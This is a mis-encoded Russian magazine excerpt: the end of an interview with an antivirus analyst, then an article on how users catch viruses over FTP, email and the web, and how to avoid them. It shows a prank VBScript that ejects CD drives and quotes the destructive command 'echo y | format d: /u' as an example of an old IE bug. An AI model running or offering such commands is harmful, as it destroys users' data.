ÅÅÊÊ:: Òàêèõ íó î÷åíü ìíîãî.

mindw0rk: Â âèðóñìåéêåðñêîì ñîîá-
ùåñòâå óæå äàâíî áûòóåò ìíåíèå,
÷òî "VX scene" ïîñòåïåííî îòìèðàåò.
Óõîäÿò ìíîãèå èçâåñòíûå ïðîôè,
÷òîáû èõ çàìåíèòü íå õâàòàåò êâàëè-
ôèöèðîâàííûõ âèðóñíûõ ïðîãðàì-
ìèñòîâ. ×óâñòâóåòå ëè âû ýòó òåí-
äåíöèþ? È ÷òî îá ýòîì äóìàåòå?
ÅÅÊÊ:: Âîîáùå ÷óâñòâóåòñÿ, ÷òî ó ìåíÿ
óõîäèò âñå ìåíüøå âðåìåíè íà àíà-
ëèç âèðóñîâ, à òÿæåëûå ñëó÷àè ïî-
ïàäàþòñÿ âñå ðåæå. Áóäåì íàäåÿòü-
ñÿ, ÷òî ýòî òåíäåíöèÿ.

mindw0rk: Êàêèå ñàéòû â èíòåðíåòå
âû ïîñåùàåòå ðåãóëÿðíî? Íà êàêèå
ðàññûëêè ïîäïèñàíû?
ÅÅÊÊ:: www.kaspersky.com :).

mindw0rk: Ñ âàøåé òî÷êè çðåíèÿ,
êàê ñïåöèàëèñòà, íàñêîëüêî èñêà-
æàþò ÍÅêîìïüþòåðíûå ÑÌÈ èí-
ôîðìàöèþ î ïîÿâëåíèè âèðóñîâ è
÷åðâåé? Íå ñ÷èòàåòå ëè âû, ÷òî îíè
òàêèì îáðàçîì íàíîñÿò îïðåäåëåí-
íûé âðåä?
ÅÅÊÊ:: Èñêàæåíèÿ ñëó÷àþòñÿ. Ïðè÷åì
ïðèìåðíî 50 íà 50 â íèõ îêàçûâà-
þòñÿ âèíîâàòû êàê ñàìè ÑÌÈ, òàê è
íåêîòîðûå àíòèâèðóñíûå êîìïàíèè,
êîòîðûå, â ïîãîíå çà öèòàòàìè,
èíîãäà ïóñêàþò îòêðîâåííûå óòêè è
ôàëüñèôèöèðóþò ñîáûòèÿ. Ñ âàøå-
ãî ïîçâîëåíèÿ ïàëüöåì ïîêàçûâàòü
íå áóäó.

mindw0rk: Êàê âû ïðåäïî÷èòàåòå
ïðîâîäèòü îòïóñê? Êàê îòäûõàåòå îò
êîìïüþòåðîâ è ðàáîòû? Âàøè ÍÅ-
êîìïüþòåðíûå èíòåðåñû è õîááè?
ÅÅÊÊ:: Î÷åíü ëþáëþ ëûæè è ìàøèíû.
Ñîáñòâåííî èì è ïîñâÿùàþ îòïóñêà.

mindw0rk: Ìàøèíû êîëëåêöèîíèðóå-
òå, ñîáèðàåòå-ðàçáèðàåòå èëè ïðîñòî
ëþáèòå íà íèõ åçäèòü? Ëûæè - õîäüáà,
ñëàëîì, ïðûæêè ñ òðàìïëèíà? :) È ãäå
ïðåäïî÷èòàåòå ïðîéòèñü íà ëûæàõ?
ÅÅÊÊ:: Íà ìàøèíàõ ïðåäïî÷èòàþ åç-
äèòü. Ñàì ïðèíöèïèàëüíî åçæó íà Ëà-
äå 99 ìîäåëè, íî çà ãðàíèöåé ëþáëþ
ïðîáîâàòü äðóãèå ìàðêè. Ëûæè ãîð-
íûå. Ëþáèìîå ìåñòî - ×åãåò. Èìåííî
òàì ÿ âïåðâûå âñòàë íà ëûæè.

mindw0rk:Âàøè ëþáèìûå ôèëüìû è
êíèãè?
ÅÅÊÊ:: Î÷åíü ëþáëþ Ñòðóãàöêèõ. À âîò
ñ êèíåìàòîãðàôîì ïðàêòè÷åñêè íå
îáùàþñü, ïîñëå ðàáîòû è êíèã âðå-
ìåíè íå õâàòàåò.

mindw0rk: ×òî áû âû õîòåëè ïåðåäàòü
òåì ðåáÿòàì, êîòîðûå ïèøóò âèðóñû?
ÅÅÊÊ:: Ñêîðåå ïîâçðîñëåòü è ïåðåñòàòü
çàíèìàòüñÿ åðóíäîé.                   A
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Âèçóàëüíûå ýôôåêòû âèðóñîâ...





Ïî îôèöè-
àëüíîé ñòà-
òèñòèêå, ÷å-
ðåç èíòåð-
íåò ïåðåäà-
åòñÿ 90%
âñåõ èçâå-
ñòíûõ âèðó-
ñîâ. Ïîäõ-
âàòèòü çà-
ðàçó ìîæíî
ãäå óãîäíî,
è íèêòî îò
ýòîãî íå
çàñòðàõî-
âàí. Äàæå
òû.

Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Òû íèêîãäà íå çàäàâàëñÿ âîïðîñîì, îòêóäà áåðóòñÿ... âèðóñû? Äà, íåñîìíåííî, èõ ïèøóò çëîóìûøëåííèêè è âûïóñêàþò
íà âîëþ, äàáû îòûñêàòü çàçåâàâøèõñÿ æåðòâ è çàðàçèòü èõ ðàáî÷óþ ìàøèíó, à åñëè ïîâåçåò, íåñêîëüêî ìàøèí...

ÈÍÒÅÐÍÅÒ -
ÏÎÒÅÍÖÈÀËÜÍÛÉ
ÈÑÒÎ×ÍÈÊ ÇÀÐÀÇÛ!
ÊÀÊ ÓÁÅÐÅ×Ü ÑÅÁß ÎÒ ÂÈÐÓÑÎÂ Â ÑÅÒÈ

èðóñû ñòàëè àêòèâíî
ðàñïðîñòðàíÿòüñÿ ñðå-
äè êîíå÷íûõ ïîëüçî-
âàòåëåé ñî âðåìåí
ðîæäåíèÿ Ñåòè. Äî

ýòîãî ìîìåíòà çàðàçà ìîãëà ïåðåíî-
ñèòüñÿ ñ îäíîãî êîìïà íà äðóãîé
òîëüêî ñ ïîìîùüþ õàðäâàðíûõ íîñè-
òåëåé èíôîðìàöèè (â îñíîâíîì, äèñ-
êåò). À â íàøå âðåìÿ ýëåêòðîííàÿ
ïàóòèíà - íå ÷òî èíîå, êàê ñðåäà îáè-
òàíèÿ è âûæèâàíèÿ âèðóñîâ, â êîòî-
ðîé îíè ÷óâñòâóþò ñåáÿ ñóõî è êîì-
ôîðòíî.
Ïî îôèöèàëüíîé ñòàòèñòèêå, ÷åðåç
èíòåðíåò ïåðåäàåòñÿ 90% âñåõ èç-
âåñòíûõ âèðóñîâ. Ïîäõâàòèòü çàðàçó
ìîæíî ãäå óãîäíî, è íèêòî îò ýòîãî
íå çàñòðàõîâàí. Äàæå òû. Ïðè÷åì â
áîëüøèíñòâå ñëó÷àåâ ñàì þçåð ñïî-
ñîáñòâóåò çàðàæåíèþ. Òû ìîæåøü
âîçðàçèòü, ÷òî ýòî íå òàê è ïîñëàòü
ìåíÿ â... èçâåñòíîì íàïðàâëåíèè, íî
ÿ áû íå ñïåøèë ñ âûâîäàìè. Ïðî÷è-
òàâ ýòîò ìàòåðèàë, òû óâèäèøü âñþ
îñòðîòó ïîäíÿòîé ïðîáëåìû.

ËÀÊÎÌÛÅ ÑÅÐÂÈÑÛ INTERNET
Ìíîãèå ïîëüçóþòñÿ óñëóãàìè

ãëîáàëüíîé ñåòè. Ïðè÷åì âñå ñ ðàç-
íûìè öåëÿìè. Êòî-òî ïîñåùàåò ïîç-
íàâàòåëüíûå ïîðòàëû è ôëåéìèò íà
ôîðóìàõ. Íåêîòîðûå èíòåðíåò÷èêè
äíåì è íî÷üþ çàâèñàåò â ÷àòàõ è
àñüêàõ (ñàìûå "óìíûå" èç íèõ ïûòà-
þòñÿ ïîäñàäèòü âèðÿ èëè òðîÿ íà÷è-
íàþùèì ïîëüçîâàòåëÿì è ïðåäñòàâ-
ëÿþò íàèáîëüøóþ îïàñíîñòü, íî îá
ýòîì ïîçæå). È, íàêîíåö, áîëüøèí-
ñòâî ïðîñòî çàëåçàåò â èíòåðíåò,
÷òîáû ïðîâåðèòü ïî÷òó. Êàê íè
ñòðàííî, âñåõ èõ îáúåäèíÿåò îäíî -
îïàñíîñòü ïîäõâàòèòü ýëåêòðîííóþ
çàðàçó. ×òîáû ýòîãî íå ñëó÷èëîñü,
íåîáõîäèìî ïðèäåðæèâàòüñÿ ïðîñ-
òûõ ïðàâèë è âñåãäà áûòü íà÷åêó.
Òîãäà íè îäèí çëîóìûøëåííèê íå
ñìîæåò âïàðèòü òåáå òðîÿíà.
Ñåòåâûå êîììóíèêàöèè ñîñòîÿò èç
îòäåëüíûõ ñåðâèñîâ, êîòîðûìè ñâî-
áîäíî ïîëüçóþòñÿ þçåðû. Íî êàæ-
äûé òàêîé ñåðâèñ ïðè îïðåäåëåííûõ
óñëîâèÿõ ìîæåò ïðåäñòàâëÿòü ñåðü-
åçíóþ îïàñíîñòü äëÿ ïîëüçîâàòåëÿ,

è åñëè íå ñîáëþäàòü ðÿä ïðàâèë, àê-
òóàëüíûõ äëÿ êàæäîé ñëóæáû, ìîæ-
íî ïîïëàòèòüñÿ ïîòåðåé ñîêðîâåí-
íîé èíôîðìàöèè, à òàêæå ñèñòåìû
(âñå çàâèñèò îò òèïà âèðóñà/òðîÿíà).
Ïðè÷åì ñ êàæäûì ãîäîì òåõíîëîãèè
"âïàðèâàíèÿ" çàðàçû ìåíÿþòñÿ, ïîý-
òîìó ñëåäóåò âñåãäà áûòü ãîòîâûì ê
âîçìîæíîé ïîïûòêå çàðàæåíèÿ.

FILE TRANSFER PROTOCOL
Ðàç óæ ìû çàãîâîðèëè î ñåðâè-

ñàõ, ïîïðîáóåì ðàçîáðàòüñÿ â êàæ-
äîì èç íèõ. Ïîéäåì ïî âîçðàñòàþ-
ùåé: íà ïåðâîì ìåñòå ó íàñ íàõîäèò-
ñÿ ñëóæáà FTP, ðàñïîëàãàþùàÿñÿ íà
21 ïîðòó. Ñåðâèñ ïðåäíàçíà÷åí äëÿ
îáìåíà ôàéëàìè è íå áîëåå òîãî.
Êàçàëîñü áû, ïîëüçîâàòåëü íèêîãäà
ñàì íå áóäåò ñêà÷èâàòü è çàïóñêàòü
çàðàçíûé ôàéë, íî â áîëüøèíñòâå

ñëó÷àåâ èìåííî òàê è ïðîèñõîäèò.
Ýòî îáóñëàâëèâàåòñÿ íåñêîëüêèìè
ïðè÷èíàìè:

1. Ëþáîïûòñòâî.

Æèâîé ïðèìåð: íåêèé õàêåð Âàñÿ íà-
ïèñàë íîâûé âèðóñ, êîòîðûé ïîêà åùå
íå äåòåêòèòñÿ àíòèâèðóñíûì ÏÎ, è çà-
ëèë ñâîå òâîðåíèå íà êðóïíûé FTP-
îáìåííèê (íå ñïðàøèâàé, êàê îí ïîëó-
÷èë òóäà rw-äîñòóï, ãîâîðþ æå, õà-
êåð). Ñïóñòÿ ÷àñ ëàìåð Ïåòÿ, êîòîðûé
áðîäèò ïî âåáó â ïîèñêàõ êðÿêåðà èí-
òåðíåòà, âäðóã íàõîäèò åãî íà âàðåçî-
îòñòîéíèêå - FTP-ñåðâåðå. Åñòåñòâåí-
íî, Âàñÿ çàðàíåå îáäóìàë, êàêîå èìÿ
äàòü ñâîåìó âèðóñó. Ñêà÷àâ çëîâðåä-
íóþ ïðîãðàììó, Ïåòÿ çàïóñòèë åå. Êî-
íå÷íî, íèêàêîãî áåñïëàòíîãî èíòåðíå-
òà îí íå ïîèìåë, íî âñå ïàðîëè íà
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Îò÷åò ïåðåõâàò÷èêà âèðóñîâ îò AVP

Ïî îôèöèàëüíîé ñòàòèñòèêå, ÷åðåç
èíòåðíåò ïåðåäàåòñÿ 90% âñåõ èçâåñòíûõ

âèðóñîâ.



dial-up óøëè Âàñå ïî e-mail. È ïðîäîë-
æàëè óõîäèòü äî òåõ ïîð, ïîêà äîáðûå
ëþäè íå ïîìîãëè æåðòâå è íå ïåðåóñ-
òàíîâèëè ïàðíþ ñèñòåìó. Ìîðàëü: íå
ñêà÷èâàé íåèçâåñòíûé ñîôò ñ ëþáûõ
FTP-ñåðâåðîâ: ýòî î÷åíü íåáåçîïàñíî.
Äàæå åñëè ó òåáÿ óñòàíîâëåíû ïåðåõ-
âàò÷èêè âèðóñîâ (î íèõ áóäåò ñêàçàíî
íèæå), ñâåæåíàïèñàííûé òðîÿí íå áó-
äåò èìè îáíàðóæåí è ñ ëåãêîñòüþ îá-
æèâåòñÿ íà òâîåé ñèñòåìå.

2. Âíóøåíèå.

Ñïîñîá ïîëó÷åíèÿ âèðóñà íåìíîãî
ïîõîæ íà ïåðâûé. Òî÷íåå, ñîâïàäàåò
åãî êîíöîâêà, â êîòîðîé þçåð êà÷àåò
è çàïóñêàåò ôàéë ñ FTP-ñåðâåðà, ê
÷åìó çëîóìûøëåííèê ïîäòàëêèâàåò
åãî ðàçíûìè ñðåäñòâàìè. Ýòî ìîæåò
áûòü ïèñüìî, â êîòîðîì ñîäåðæèòñÿ
ññûëêà íà âèðóñ è ïðåäñòàâëåíèå
åãî êàê ñóïåðïðîãðàììû, îïòèìèçè-
ðóþùåé ðàáîòó Windows (òû äóìà-
åøü, íà ýòî íå êëþíóò? Åùå êàê êëþ-
þò! Îñîáåííî òå, ó êîãî ìàëî ÎÇÓ).
Âèðóñîïèñàòåëü ìîæåò ïðåäñòàâèòü
ñâîå òâîðåíèå êàê ñàìîðàñïàêîâû-
âàþùèéñÿ àðõèâ ñ ôîòîãðàôèÿìè
îáíàæåííîé Ïàìåëû Àíäåðñîí,
ññûëêó íà êîòîðûé îòïðàâèò òåáå ïî
àñüêå. Ñïîñîáîâ ìîæåò áûòü ìíîãî,
à çàùèòà òîëüêî îäíà: íå äîâåðÿòü
íèêîìó, êðîìå ëþäåé, êîòîðûõ çíà-
åøü äîëãîå âðåìÿ (âïðî÷åì, îíè òî-
æå ìîãóò áûòü çàðàæåíû ÷åðâÿêîì,
íî îá ýòîì ïîçæå).

3. Âèðóñû.

Ýòî ìîæåò ïîêàçàòüñÿ ñòðàííûì, íî
ñàìè âèðóñû ìîãóò ñêà÷èâàòü íîâûå

çëîâðåäíûå ïðîãðàììû. ßðêèé òîìó
ïðèìåð - ñòàðèííàÿ òâàðü ïî èìåíè
Homer, êîòîðàÿ ïðè ñîåäèíåíèè ñ
FTP-ñåðâåðîì çàëèâàëà ñâîþ êîïèþ
â êàòàëîã /incoming (â íåãî, ïî óìîë-
÷àíèþ, ðàçðåøåíà çàïèñü). Íî ýòî
áûëî äàâíî. Òåïåðü âèðóñû ñòàëè
óìíåå è ìîãóò ñêà÷èâàòü ñâîè íîâûå
âåðñèè ïî FTP, ïðàâäà ïîëüçîâàòåëü
îá ýòîì óçíàåò òîëüêî èç îò÷åòà àí-
òèâèðóñíîãî ïåðåõâàò÷èêà...

Âðåìÿ ñîáèðàòü êàìíè. Òî åñòü ñäå-
ëàòü íåáîëüøîé âûâîä èç âñåãî âû-
øåèçëîæåííîãî. ß âèæó ñïàñåíèå îò
âñåõ òðåõ áåä îäíîâðåìåííî â óñòà-
íîâêå àíòèâèðóñíîãî ïåðåõâàò÷èêà,
êîòîðûé ïðîâåðÿåò ôàéëû "íà ëåòó"
ñðàçó ïîñëå ñêà÷èâàíèÿ. Çàïóñòèòü
çàðàçó äåòåêòîð íå ïîçâîëèò. Ïðè-
ìåðû òàêèõ ñîôòèí - èçâåñòíûå AVP,
DrWeb, Norton Antivirus, McAfee...
Ýòîò ñïèñîê ìîæíî ïðîäîëæàòü áåñ-
êîíå÷íî, òàê êàê àíòèâèðóñîâ ñåé÷àñ

ðàçâåëîñü ìíîãî (èõ îáçîð òû ìî-
æåøü íàéòè â òåìàòè÷åñêîé ñòàòüå
ýòîãî íîìåðà). Íî îäíîé íàäåæäû íà
ñîâåðøåíñòâî ïðîãðàììû íåäîñòà-
òî÷íî. Íóæíî ïðîÿâëÿòü áäèòåëü-
íîñòü è íå ñêà÷èâàòü ïîäîçðèòåëü-
íûå ôàéëû ñ FTP-àðõèâîâ. Äîâåðÿòü
íà 100% ìîæíî ëèøü õîðîøî çàðå-
êîìåíäîâàâøèì ñåáÿ ñåðâåðàì.

Íà ñåðüåçíûõ FTP-ñåðâåðàõ ôàéëû
÷àùå âñåãî ñíàáæàþòñÿ PGP-ïîä-
ïèñüþ, ÷òî äàåò âîçìîæíîñòü ïðîâå-
ðèòü íåèçìåííîñòü áèíàðíèêà. Äëÿ
ýòîãî, èñïîëüçóÿ óòèëèòó pgp, è êî-
ìàíäó:

pgp.exe sotf.pgp soft.exe

ìîæíî óáåäèòüñÿ â ñîîòâåòñòâèè áè-
íàðíûõ äàííûõ è çàùèòíîãî êëþ÷à.
Â êîíöå àíàëèçà òû ïîëó÷èøü èòîãî-
âîå ñîîáùåíèå îò PGP, ñîîáùàþùåå
î âàëèäíîñòè ïîäïèñè ôàéëà.

ÏÎ×ÒÀ - ÝÒÎ ÍÅ ÒÎËÜÊÎ ÒÅÊÑÒÎ-
ÂÛÅ ÄÎÊÓÌÅÍÒÛ!

Íàñòàëî âðåìÿ ïîãîâîðèòü î ñà-
ìîì ïîïóëÿðíîì ñåðâèñå èíòåðíåòà -
e-mail. Ìíîæåñòâî þçåðîâ ëåçóò â
Ñåòü èìåííî äëÿ òîãî, ÷òîáû "ñíÿòü
ìûëî" (èëè íàïèñàòü êîìó-íèáóäü
ïèñüìî). Ñ ýòîé ñëóæáîé òåñíî ñâÿ-

çàíû äâå íåõîðîøèå âåùè - ñïàì è
âèðóñû. Ïåðâîå íàñ íå îñîáî èíòå-
ðåñóåò, à âîò âèðóñû ïî ìûëó ðàñï-
ðîñòðàíÿþòñÿ äîâîëüíî ÷àñòî.
Òû íàâåðíÿêà ñòàëêèâàëñÿ ñ òàêîé
ñèòóàöèåé: ïîëó÷àåøü ïî÷òó, à â
ÿùèêå ïèñüìî îò íåêîé
sexy_girl@yahoo.com. Â àòòà÷å âè-
äèøü ôàéë sexy_girl.jpg ñ ñèìïàòè÷-
íîé ãðàôè÷åñêîé èêîíêîé. Â äîâåñîê
êî âñåìó â òåëå ïèñüìà íàïèñàíî,
÷òî äåâóøêà èñêàëà òåáÿ âñþ ñâîþ
æèçíü è ðåøèëàñü-òàêè ïîñëàòü ñâî-
åìó êóìèðó ôîòîãðàôèþ â íåãëèæå
;). Ðàçóìååòñÿ, òåìíûé ïîëüçîâàòåëü
ñðàçó ïîòÿíåòñÿ ñâîèìè øàëîâëèâû-
ìè ðó÷êàìè ê ôàéëó è îòêðîåò åãî.
Èòîã ïëà÷åâåí: êîìïüþòåð çàðàæåí
âèðóñîì. Áîëåå òîãî, ôàéë èìåë íàç-
âàíèå "sexy_girl.jpg[40 ïðîáå-
ëîâ].exe" - ñòàíäàðòíàÿ óëîâêà âè-
ðóñìåéêåðîâ...
Äðóãîé ïðèìåð: â àòòà÷å ñîäåðæèòñÿ
íîðìàëüíûé òåêñòîâûé äîêóìåíò, è
åãî èìÿ - letter.doc. Áåç çàäíåé ìûñ-
ëè þçåð îòêðûâàåò ýòîò ôàéë ñ ïî-
ìîùüþ MS Word è çàðàæàåòñÿ... ìàê-
ðîâèðóñîì, êîòîðûé óæå äàâíî ìå÷-
òàåò âûáðàòüñÿ èç íåâîëè è íà÷àòü
ïëîäèòüñÿ ïîøóñòðåå, ÷åì êðîëèêè â
Àâñòðàëèè. Êîíå÷íî, ìàêðîêîìàíäû
ìîæíî îòêëþ÷èòü, íî èíîãäà îíè òàê
ïîëåçíû â ðàáîòå, ÷òî ðóêà íå ïîä-
íèìàåòñÿ èõ âûêëþ÷èòü.
Èíîãäà äàæå íå òðåáóåòñÿ îòêðûâàòü
ôàéë. Ýòî ñäåëàåò çà òåáÿ äûðÿâîå
ÏÎ êîìïàíèè Microsoft, à èìåííî åãî
ïî÷òîâûé êëèåíò Outlook (èëè áîëåå
òîíêèé è ïîïóëÿðíûé â íàðîäå
Outlook Express). Îòêðîåò, çàðàçèò
êîìïüþòåð è çàáîòëèâî ðàçîøëåò
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Íå ñêà÷èâàé
íåèçâåñò-
íûé ñîôò ñ
ëþáûõ FTP-
ñåðâåðîâ:
ýòî î÷åíü
íåáåçîïàñ-
íî.

Îñòîðîæíî! Òóò ìîæåò áûòü âèðóñ :)

Íóæíî ïðîÿâëÿòü áäèòåëüíîñòü è íå
ñêà÷èâàòü ïîäîçðèòåëüíûå ôàéëû ñ FTP-

àðõèâîâ.

Áåç çàäíåé
ìûñëè þçåð
îòêðûâàåò
ýòîò ôàéë ñ
ïîìîùüþ
MS Word è
çàðàæàåò-
ñÿ... ìàêðî-
âèðóñîì,
êîòîðûé
óæå äàâíî
ìå÷òàåò
âûáðàòüñÿ
èç íåâîëè
íà÷àòü ïëî-
äèòüñÿ ïî-
øóñòðåå,
÷åì êðîëèêè
â Àâñòðà-
ëèè.



Ñëóæáû
ïîääåðæêè
áåñïëàòíûõ
ïî÷òîâûõ
ñëóæá çàáî-
òÿòñÿ î ñâî-
èõ êëèåíòàõ
è ïðåäëàãà-
þò áåñïëàò-
íóþ ïðîâåð-
êó ïî÷òû íà
âèðóñû.

êîïèþ âèðóñà ïî âñåé àäðåñíîé êíè-
ãå (èíòåðåñíûé ñåðâèñ, íå ïðàâäà
ëè? ;)). Ïðèìåð òàêîãî âèðóñà - èçâå-
ñòíûé I Love You, êîòîðûé íåñêîëüêî
ëåò íàçàä ïðîøåë ãðîçîé ïî âñåé
Ñåòè. Îòñþäà ïðàâèëî: èñïîëüçóé
òîëüêî íîâûå è òîëüêî íàäåæíûå e-
mail êëèåíòû. Äëÿ Windows ïðèìå-
ðîì òàêîé ïðîãðàììû ÿâëÿåòñÿ ëþ-
áèìûé ìíîãèìè The Bat! (www.rit-
labs.com). Åñëè íåò Ëåòó÷åé Ìûøè,
ìîæåøü þçàòü ñòàíäàðòíîå Web-ìû-
ëî, êîòîðûì ðàçðåøàþò ïîëüçîâàòü-
ñÿ íà áåñïëàòíûõ Mail-ñåðâèñàõ
(www.mail.ru, www.pisem.net è ïðî÷.).
Íî íå âñå òàê ïëîõî. Ñëóæáû ïîääå-
ðæêè áåñïëàòíûõ ïî÷òîâûõ ñëóæá
çàáîòÿòñÿ î ñâîèõ êëèåíòàõ è ïðåä-
ëàãàþò áåñïëàòíóþ ïðîâåðêó ïî÷òû
íà âèðóñû. Îòêàçûâàòüñÿ îò íåå â
íàøå âðåìÿ ãëóïî, à â ðÿäå ñëó÷àåâ
- ïðîñòî íåâîçìîæíî (òîëüêî âîò, ê
ñîæàëåíèþ, ïðåäîñòàâëÿþò åå äàëå-
êî íå âñå ñåðâèñû). Ïðèìåðîì òàêîé
õàëÿâû ÿâëÿåòñÿ òîò æå mail.ru.
×òî ìû èìååì? Åñëè íå çàáûâàòü
ïðî àíòèâèðóñíîå ÏÎ è ìîå íàñòàâ-
ëåíèå ïðî The Bat!, ìîæíî, â ïðèíöè-
ïå, íå îïàñàòüñÿ âèðóñîâ... Êîíå÷íî,
åñëè òû ñàì íå áóäåøü îòêðûâàòü
ïåðâûé ïîïàâøèéñÿ àòòà÷ ïèñüìà.
Íå ñòîèò çàáûâàòü è îá èíôîðìàöè-
îííûõ ñàéòàõ, êîòîðûå îïåðàòèâíî
ñîîáùàþò îá îáíàðóæåíèè íîâîé
äûðêè â ïî÷òîâûõ ïðîãðàììàõ. Ïðî-
÷èòàâ òàêóþ ñâîäêó, íåîáõîäèìî â
ñðî÷íîì ïîðÿäêå îáíîâèòü âåðñèþ
êëèåíòà.

ÎÏÀÑÍÎÑÒÜ ÂÑÅÌÈÐÍÎÉ 
ÏÀÓÒÈÍÛ

Íå ìåíåå ïîïóëÿðíûì ñåðâèñîì
ÿâëÿåòñÿ WWW. Äà-äà, ýòî òîò ñàìûé
HTTP-ñåðâèñ, ðàñïîëàãàþùèéñÿ íà
80 ïîðòó. Ìàëî òîãî, ÷òî îí ïðåäîñ-
òàâëÿåò âîçìîæíîñòü çàðàæåíèÿ
ñêà÷àííûìè ôàéëàìè, íî è òàèò â ñå-

áå îñîáóþ îïàñíîñòü - ñêðèïòû è âû-
çîâû ActiveX.
Ïîñëåäíèå âñòðå÷àþòñÿ êðàéíå ðåä-
êî, ïîòîìó êàê ïèøóòñÿ â îñíîâíîì
ãðàìîòíûìè ëþäüìè, à òàêèå ðåäêî
ãëóïîñòÿìè çàíèìàþòñÿ. Êðîìå òîãî,
ActiveX-êîíòðîëû ëåãêî îòêëþ÷àþò-
ñÿ â áðàóçåðå, ïîýòîìó îáñóæäàòü èõ
ÿ íå áóäó. Íî âîò íàñ÷åò ñêðèïòîâ
ïîãîâîðèì ïîäðîáíåå. Îíè áûâàþò
íåñêîëüêèõ âèäîâ. Ñàìûå ïîïóëÿð-
íûå ýòî JavaScript è VBScript. Íàïè-
ñàòü ïðîñòåíüêóþ ïðîãðàììó â òàêèõ
ïðèìèòèâíûõ ñðåäàõ ìîæåò ëþáîé
øêîëüíèê (îñîáåííî íà VBScript, ò.ê.
îñíîâàí îí íà ïðîñòåéøåì Visual
Basic'å).
Ðàññìîòðèì ïðèìåð. Ñîâñåì íåäàâíî
áûë îáíàðóæåí ðåñóðñ www.vke.ru,
èñõîäíèê ãëàâíîé ñòðàíèöû êîòîðî-
ãî ñîäåðæàë ñëåäóþùèé êîä:

<SCRIPT language="VBScript">
<!--
Set oWMP =
CreateObject("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject

Next ' cdrom
End If
-->
</SCRIPT>

Íàçâàòü âèðóñîì òàêîé êîä, êîíå÷íî,
íåëüçÿ. Íî âðåäà îò íåãî ìíîãî. Ìå-
íÿ ñàìîãî ÷óòü íå õâàòèë èíôàðêò,
êîãäà âñå ñèäþêè â ìîåì ñèñòåìíîì
áëîêå ðàçîì îòêðûëèñü. ß ïðèâåë
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The Bat! - áåçîïàñíûé êëèåíò íîâîãî ïîêîëåíèÿ

Ñòàíäàðòíîå ïèñüìî ñ âèðóñîì â àòòà÷å

Èñïîëüçóé òîëüêî íîâûå è òîëüêî
íàäåæíûå e-mail êëèåíòû.

Íî âðåäà îò íåãî ìíîãî. Ìåíÿ ñàìîãî ÷óòü
íå õâàòèë èíôàðêò, êîãäà âñå ñèäþêè â

ìîåì ñèñòåìíîì áëîêå ðàçîì îòêðûëèñü.



ýòîò êîä ëèøü äëÿ òîãî, ÷òîáû åùå
ðàç äîêàçàòü, ÷òî â áðàóçåðàõ (îñî-
áåííî îäíîé èçâåñòíîé êîìïàíèè)
ìîæíî íàéòè ñêîëüêî óãîäíî äûð,
÷åðåç êîòîðûå ëåãêî ïîëó÷èòü ñèñ-
òåìó ïîä êîíòðîëü.

Õî÷åøü ïðèìåð ïîñåðüåçíåå? Ïîæà-
ëóéñòà! Áðàóçåð Internet Explorer (îí
ÿâëÿåòñÿ ñàìûì ïîïóëÿðíûì âî
âñåì ìèðå) âïëîòü äî 6 âåðñèè áûë
óÿçâèì äîñàäíûì áàãîì, êîòîðûé
ïîçâîëÿë âûïîëíèòü ëþáîé ñèñòåì-
íûé ôàéë. ß äóìàþ, íå ñòîèò ãîâî-
ðèòü î ïîñëåäñòâèÿõ òàêîãî çàïóñêà.
Çëîóìûøëåííèê ìîã èñïîëíèòü êàê
çàðàíåå çàêà÷àííûé âèðóñ, òàê è êî-
ìàíäó echo y | format d: /u. Ôàíòà-
çèÿ òóò áåçãðàíè÷íà! Ïðàâäà, íà
áàãòðàêå äàâàëàñü âîçìîæíîñòü
ïðîâåðèòü ñâîé áðàóçåð íà ïðèìåðå
çàïóñêà îáû÷íîãî êàëüêóëÿòîðà :).
Ïðîâåðèòü ñâîåãî îñëèêà ìîæíî ïî
ýòîìó àäðåñó:
www.nics.com.ua/VULN/BROWSERS/
RunProgram.shtml.

Åñëè ïîðûòüñÿ â èíòåðíåòå íà òåìó
âûïîëíåíèÿ ïðîèçâîëüíîãî êîäà ÷å-
ðåç IE, ìîæíî íàéòè îøåëîìëÿþùèå
ñâåäåíèÿ. Ïóòåì õèòðîé çàìåíû ïà-
ðàìåòðà çàãîëîâêà, ïåðåäàâàåìîãî
êëèåíòó, ñòàíîâèòñÿ âîçìîæíûì çà-
êà÷àòü è âûïîëíèòü (!!!) ïðîèçâîëü-
íûé áèíàðíûé ôàéë. Ìàëî òîãî, ÷òî-
áû äîêàçàòü ýòî íåâåðóþùåìó þçå-
ðó, àâòîð áàãà äåìîíñòðèðîâàë çà-
ïóñê òåñòîâîãî áèíàðíîãî ôàéëà íà
êîìïüþòåðå êëèåíòà. Ïîâòîðþñü,
óÿçâèì áûë ëèøü Internet Explorer,

íåâåðíî ïðèíèìàþùèé HTTP-çàãî-
ëîâîê
(www.solutions.fi/iebug2/run.cgi).
Íåðåäêî âñòðå÷àþòñÿ âðåäîíîñíûå
ñòðàíèöû ñ Java-êîäîì, ïîçâîëÿþ-
ùèå ïðîèçâîëüíî ïåðåäâèãàòü îêíî

áðàóçåðà, à òàêæå ïëîäèòü åãî îêîø-
êè, ïîêà íå êîí÷èòñÿ ñâîáîäíàÿ îïå-
ðàòèâíàÿ ïàìÿòü. Êàê ãîâîðèòñÿ,
ãîëü íà âûäóìêè õèòðà ;).
Åùå îäíà ôèøêà, àêòèâèðóåìàÿ ÷å-
ðåç Web - çëîâðåäíîå èñïîëüçîâà-
íèå èíîãî òèïà ïðèíèìàåìîãî ôàé-
ëà. ß äóìàþ, òû çíàåøü, ÷òî áðàóçåð
ïîçâîëÿåò âûïîëíÿòü çàïðîñû, îðè-
åíòèðîâàííûå íå òîëüêî íà http:// è
ftp://. Ýêñïëîðåð çàïðîñòî çàïóñòèò
telnet.exe, åñëè âñòðåòèò òèï telnet://,
ëèáî mIRC ïðè íà÷àëå ññûëêè âèäà
irc://. Ýòèì è ïîëüçóþòñÿ çëîóìûø-
ëåííèêè, ñîçäàâàÿ öèêë íà
JavaScript, ïëîäÿùèé òàêèå çàïðîñû.
Ýòî â ëó÷øåì ñëó÷àå.
Â õóäøåì ñëó÷àå õàêåð ìîæåò ïîëó-
÷èòü ïîëíûé äîñòóï ê òâîåì êîìïüþ-
òåðó. Êàê ýòî ïðîèñõîäèò?
Áûëî îáíàðóæåíî, ÷òî ñ ïîìîùüþ
âèíäîâîãî telnet.exe ìîæíî ïåðå-
